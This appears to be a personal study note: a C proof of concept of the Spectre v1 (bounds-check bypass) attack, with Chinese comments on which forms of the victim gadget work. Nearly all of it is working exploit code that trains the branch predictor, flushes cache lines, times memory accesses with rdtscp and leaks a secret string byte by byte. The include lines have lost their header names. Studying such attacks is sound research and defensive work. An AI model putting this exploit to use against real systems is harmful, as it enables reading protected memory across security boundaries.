spectre 记录

v1

#include 
#include 
#include 
#ifdef _MSC_VER
#include  
#pragma optimize("gt", on)
#else
#include  
#endif
#include
#include



// 数组1大小 16
// unsigned int array1_size = 16;
// const unsigned int array1_size = 16;
volatile const unsigned int array1_size = 16;
// volatile  unsigned int array1_size = 16;
#define BIT 4096

// typedef unsigned char unint8
uint8_t unused1[64];

uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
uint8_t unused2[64];
uint8_t array2[256 * BIT];


// 假设攻击者想要恢复的数据
char *secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; 


void victim_function(size_t x){
	if (x < array1_size){
		temp &= array2[array1[x] * BIT];
		// array2[array1[x] * BIT] + 1; 
		// array2[array1[x] * BIT] ++ ; // 自增是可以的 a = a+1 ; a++ ; 
		// uint8_t temp1 = array2[array1[x] * BIT]; 
		// array2[array1[x] * BIT]; uint8_t ccc = 1 ; 无效
		// size_t inx =  array1[x] * BIT;  uint8_t temp3 = array2[inx] ; // 有效
		// size_t inx =  array1[x] * BIT;  uint8_t temp3 = array2[array1[x]] ; // 无效
	}
}


#define CACHE_HIT_THRESHOLD (80) 


void readMemoryByte(size_t malicious_x, uint8_t value[2],int score[2]){
	static int results[256];
	int tries, i, j, k, mix_i;
	unsigned int junk = 0;
	size_t training_x, x; // typedef unsigned long long size_t
	register uint64_t time1, time2;
	volatile uint8_t *addr;
	for (i = 0; i < 256; i++)	results[i] = 0;
	for (tries = 999; tries > 0; tries--){
		
		for (i = 0; i < 256; i++) {
			 
			_mm_clflush(&array2[i * BIT]); 
		}
		
		training_x = tries % array1_size;
		for (j = 29; j >= 0; j--){
			_mm_clflush((const int *) &array1_size);
			
			for (volatile int z = 0; z < 100; z++){} 
			
			x = ((j % 6) - 1) & ~ 0xFFFF;
			x = (x | (x >> 16)); 
			x = training_x ^ (x & (malicious_x ^ training_x));  // training_x < 0x000F 
            // 上面三行等价于
			// x = j%6?training_x:malicious_x; 
			// for(int xx = 0 ; xx < 100; xx++ ) ;  //使用一定的for循环可以减少 上面j%6? 的 分支判断影响，可能是加强预测正确的判断
			// printf("j=%d training_x = %d, x = %d n", j, training_x,x);
			victim_function(x); 
		}

		
		for (i = 0; i < 256; i++){
			mix_i = ((i * 167) + 13) & 255; // 计算缓存线路的地址来进行检查
			addr = &array2[mix_i * BIT];
			
			time1 = __rdtscp(&junk);
			junk = *addr;					 
			time2 = __rdtscp(&junk) - time1; 
			if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])	results[mix_i]++; 
		}

		
		j = k = results[0];
		for (i = 1; i < 256; i++){
			if (results[i] >= results[j]){
				k = j;
				j = i;
			}	else if (results[i] >= results[k]){
				k = i;
			}
		}
		if (results[j] >= (2 * results[k] + 5) ||(results[j] == 2 && results[k] == 0))
			break; 
	}
	
	// results[0] ^= junk;
	value[0] = (uint8_t)j;
	score[0] = results[j];
	value[1] = (uint8_t)k;
	score[1] = results[k];
}



int main(int argc, const char **argv) {
	size_t malicious_x = (size_t)(secret - (char *)array1); 
	printf("secret address = %p,array1 address = %p, minus malicious_x=  %pn", (void *)secret,(void *)array1, (void *)malicious_x);
	int i, score[2], len = 40;
	uint8_t value[2];

	for (i = 0; i < sizeof(array2); i++)
		array2[i] = 1; 
	if (argc == 3){
		sscanf(argv[1], "%p", (void **)(&malicious_x));
		malicious_x -= (size_t)array1; 
		sscanf(argv[2], "%d", &len);
		printf("Trying malicious_x = %p, len = %dn", (void *)malicious_x, len);
	}
	printf("Reading %d bytes:n", len);
	clock_t start = clock();
	while (--len >= 0){
		// std::this_thread::sleep_for(std::chrono::milliseconds(1000));
		readMemoryByte(malicious_x++, value, score);
		printf("Reading at malicious_x = %p... ", (void *)malicious_x);
		printf("%s: ", score[0] >= 2 * score[1] ? "Success" : "Unclear");
		// 不是显示字符输出 ?
 		printf("0x%02X='%c' score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
 		if (score[1] > 0)
	 		printf("(second best: 0x%02X score=%d)", value[1], score[1]);
 		printf("n");
	}
	clock_t end = clock();
	// printf("%.6f n",(end-start + 0.0)/CLOCKS_PER_SEC);
	return (0);
}